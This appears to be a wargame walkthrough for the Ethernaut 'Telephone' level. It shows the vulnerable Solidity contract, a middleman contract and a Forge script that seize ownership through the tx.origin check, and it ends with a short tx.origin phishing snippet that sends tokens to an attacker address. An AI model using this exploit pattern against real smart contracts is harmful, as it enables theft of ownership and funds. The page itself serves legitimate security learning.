Level 4 - Telephone ⏺
Level Setup
Level Contract
Exploit
Completion Message
Notes
Last updated
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}make anvil-exploit-level-4
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>make holesky-exploit-level-4
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
// ================================================================
// │ LEVEL 4 - TELEPHONE │
// ================================================================
contract TelephoneMiddleman {
function run(address _targetContractAddress) public {
ITelephone(_targetContractAddress).changeOwner(msg.sender);
}
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {TelephoneMiddleman} from "../src/Level4.sol";
// ================================================================
// │ LEVEL 4 - TELEPHONE │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
TelephoneMiddleman telephoneMiddleman = new TelephoneMiddleman();
telephoneMiddleman.run(targetContractAddress);
vm.stopBroadcast();
}
}function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}function () payable {
token.transfer(attackerAddress, 10000);
}